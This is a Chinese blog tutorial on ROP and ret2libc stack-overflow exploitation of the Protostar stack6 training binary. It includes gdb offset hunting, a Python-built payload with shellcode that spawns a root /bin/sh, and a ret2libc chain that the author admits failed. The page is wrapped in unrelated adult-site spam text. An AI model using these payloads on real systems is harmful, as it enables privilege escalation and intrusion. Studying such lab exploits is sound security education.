成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Linux使用ROP進行棧溢出攻擊

安全 黑客攻防
通過Protostar stack6演示Linux下ROP的簡單使用,ROP就是所謂的Return Orientated Programming,早期也叫ret2libc。

通過Protostar stack6演示Linux下ROP的簡單使用,ROP就是所謂的Return Orientated Programming,早期也叫ret2libc。

一、__builtin_return_address函數(shù)

先介紹下__builtin_return_address這個函數(shù),這個函數(shù)接收一個參數(shù),可以是0,1,2等。__builtin_return_address(0)返回當前函數(shù)的返回地址,如果參數(shù)增大1,那么就往上走一層獲取返回地址。Windows下好像也有個類似的函數(shù),不過具體叫什么忘記了。看一個例子就知道這個函數(shù)的用處了:

  1. #include <stdio.h>  
  2. #include <string.h>  
  3. #include <stdlib.h>  
  4. #include <unistd.h>  
  5.    
  6. void foo()  
  7. {  
  8.     printf("in foo()\n");  
  9.     printf("Foo: __builtin_return_address(0) = 0x%08X\n",  
  10.         __builtin_return_address(0));  
  11.     printf("Foo: __builtin_return_address(1) = 0x%08X\n",  
  12.         __builtin_return_address(1));  
  13.     bar();  
  14. }  
  15.    
  16. void bar()  
  17. {  
  18.     printf("in bar()\n");  
  19.     printf("Bar: __builtin_return_address(0) = 0x%08X\n",  
  20.         __builtin_return_address(0));  
  21.     printf("Bar: __builtin_return_address(1) = 0x%08X\n",  
  22.         __builtin_return_address(1));  
  23. }  
  24.    
  25. int main(int argc, char **argv)  
  26. {  
  27.     foo();  
  28.    
  29.     return 0;  
  30. }  

編譯之后用gdb調(diào)試,情況如下:

Linux使用ROP進行棧溢出攻擊

foo中調(diào)用__builtin_return_address(1)得到的結(jié)果就是main函數(shù)執(zhí)行完之后的返回地址。#p#

二、直接在棧上執(zhí)行Shellcode

題目的源代碼如下:

  1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.    
  6. void getpath()  
  7. {  
  8.     char buffer[64];  
  9.     unsigned int ret;  
  10.    
  11.     printf("input path please: "); fflush(stdout);  
  12.     gets(buffer);  
  13.     ret = __builtin_return_address(0);  
  14.    
  15.     if((ret & 0xbf000000) == 0xbf000000) {  
  16.         printf("bzzzt (%p)\n", ret);  
  17.         _exit(1);  
  18.     }  
  19.    
  20.     printf("got path %s\n", buffer);  
  21. }  
  22.    
  23. int main(int argc, char **argv)  
  24. {  
  25.     getpath();  
  26. }  

可以看出buffer是可以溢出的,但是后面對返回地址有一個校驗,即最高位不能是0xBF,而棧的地址的最高位就是0xBF,所以不能直接跳轉(zhuǎn)到棧上面去執(zhí)行Shellcode,但是我們可以通過.text中的一條ret指令作為跳轉(zhuǎn)。首先需要測試返回地址的覆蓋字段位于輸入數(shù)據(jù)中的位置:

  1. python -c "print 'A'*80+'B'*4" > data.txt  
  2. gdb stack6  
  3. disas getpath  
  4. b *0x080484b8   #在這里返回地址放到了eax中  
  5. r < data.txt  
  6. info registers eax 

看到eax剛好為0×42424242,也就是返回地址被覆蓋成了0×42424242。現(xiàn)在需要一條ret指令,可以直接取main函數(shù)的最后一條指令,通過disas main可以查看到地址為0×08048508。如果我們把返回地址覆蓋為0×08048508,那么從getpath返回后就跑去0×08048508這個地址去執(zhí)行了,而這里又是一條返回地址,那么我們可以在棧上放一個指向Shellcode的地址。

現(xiàn)在需要知道buffer的地址,在gets調(diào)用處下斷點:

  1. disas getpath  
  2. b *0x080484aa  #這里調(diào)用gets  
  3. info registers eax 

得到buffer的地址為0xBFFFFCCC。buffer的起始地址知道了,我們就可以知道Shellcode的位置了:

0xBFFFFCCC + 80 + 4 + 4 = 0xBFFFFD24。

下面是數(shù)據(jù)的布局:

Linux使用ROP進行棧溢出攻擊

用Python生成這段數(shù)據(jù),并當做stack6程序的輸入數(shù)據(jù):

python -c "print 'A'*80 + '\x08\x85\x04\x08' + '\x24\xFD\xFF\xBF' + 
'\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31
\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin
\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > data.txt
 
gdb stack6
r < data.txt
 
whoami
root

#p#

三、使用ROP技術(shù)

其實上面跳轉(zhuǎn)到main函數(shù)的最后一條ret指令的方法就是使用了ROP的思想了,不過現(xiàn)在假設(shè)棧沒有可執(zhí)行屬性,那么上面的方法就不行了。我們可以考慮使用execve(“/bin/sh”, 0, 0) 執(zhí)行shell。為此,需要先找到execve的地址,gdb下輸入如下命令:

  1. print execve #為0xb7f2e170  
  2. print exit   #為0xb7ec60c0 

通過x /1000s $esp查找/bin/sh字符串,在0xbffffefb發(fā)現(xiàn)字符串”SHELL=/bin/bash”,我們需要的地址為0xbffffefb+6=0xBFFFFF01。當然也可以在輸入的時候直接傳入字符串,不過需要控制字符串結(jié)束符,gets又不能讀(讀入的是0x0D,不是0×00),額外處理為很麻煩。上面的查找方法是查找進程中的環(huán)境變量字符串實現(xiàn)的。同時我們也能找到指向0×00000000的指針,如0xBFFFFD6A,往execve的第二個第三個參數(shù)傳入這樣的指針也是可以的。

Linux使用ROP進行棧溢出攻擊

現(xiàn)在我們的數(shù)據(jù)布局如下:

Linux使用ROP進行棧溢出攻擊

execve調(diào)用之后是不會返回的,所以填充的那個exit的地址也可以是其他的不帶NULL的數(shù)據(jù),按我所想象的,這樣之后就可以了。

  1. python -c "print 'A'*80 + '\x08\x85\x04\x08' + '\x70\xE1\xF2\xB7' + 
  2. '\xC0\x60\xEC\xB7' + '\x01\xFF\xFF\xBF' + '\x6A\xFD\xFF\xBF' +
  3.  '\x6A\xFD\xFF\xBF'" > data.txt  
  4.    
  5. gdb stack6  
  6. r < data.txt  

不過這里在gdb中看到,/bin/bash執(zhí)行后立刻就退出了,這個估計是使用execve的方式不對,ROP思路本身是沒有問題的,下次分析下第一種方法中的Shellcode,就知道怎么用了。

四、 gdb調(diào)試學習

反匯編指定區(qū)域的數(shù)據(jù):disas /r 0x0804a000 0x0804b000

查看函數(shù)地址:print execve

修改內(nèi)存數(shù)據(jù):set *((char*)0x0804aabb=0×00 選擇對應(yīng)的type即可

將文件數(shù)據(jù)作為輸入:run < 文件路徑

將shell命令輸出作為命令行參數(shù):run $(python -c "print 'A'*100")

責任編輯:藍雨淚 來源: 程序人生博客
相關(guān)推薦

2017-03-14 15:37:28

2012-11-26 10:53:03

2022-01-24 07:35:39

XLL網(wǎng)絡(luò)攻擊惡意軟件

2019-01-11 09:00:00

2021-08-30 07:57:26

OpenAttack文本對抗攻擊

2009-09-24 18:29:12

2022-02-22 09:33:38

LIFO數(shù)據(jù)結(jié)構(gòu)

2009-05-13 09:21:48

2014-07-30 11:21:46

2019-03-06 09:00:38

ASLRLinux命令

2021-03-04 11:02:07

勒索軟件Nefilim幽靈賬戶

2009-09-24 18:16:40

2009-10-12 14:21:44

2023-04-20 14:58:54

2023-05-15 15:59:07

2011-02-28 09:34:55

2023-12-19 16:31:19

2022-05-07 11:08:50

Linuxapt 命令

2022-05-04 11:10:58

Linuxdnf 命令

2021-05-04 21:03:39

惡意軟件勒索軟件網(wǎng)絡(luò)攻擊
點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 亚洲精品九九 | 欧美在线综合 | 美女天堂在线 | 午夜视频免费在线观看 | 超碰成人免费 | 国产亚洲高清视频 | 中文字幕高清 | 日韩中文字幕 | 日韩有码一区 | 中文在线亚洲 | 成人午夜影院 | 国产成人福利 | 国产成人精品一区二 | 日韩欧美在线观看 | 国产人成精品一区二区三 | 丁香色婷婷 | 国产精品免费播放 | 日韩精品一区二区三区在线播放 | 一区久久 | 91在线视频播放 | 色在线看| 久久国产精品91 | 情侣黄网站免费看 | 欧美精品久久久久久久久老牛影院 | 欧美一卡二卡在线观看 | 91免费在线| 97精品超碰一区二区三区 | 天堂精品| 久久与欧美| 国产1区2区在线观看 | 四虎永久免费地址 | 久久精品美女 | 在线看日韩av| 中文字幕影院 | 一区二区三区在线 | 欧 | 亚洲第一在线 | 亚洲精品91| 黑人巨大精品欧美一区二区免费 | 欧美日韩在线成人 | 日韩视频精品 | 中文字幕一区二区三区在线观看 |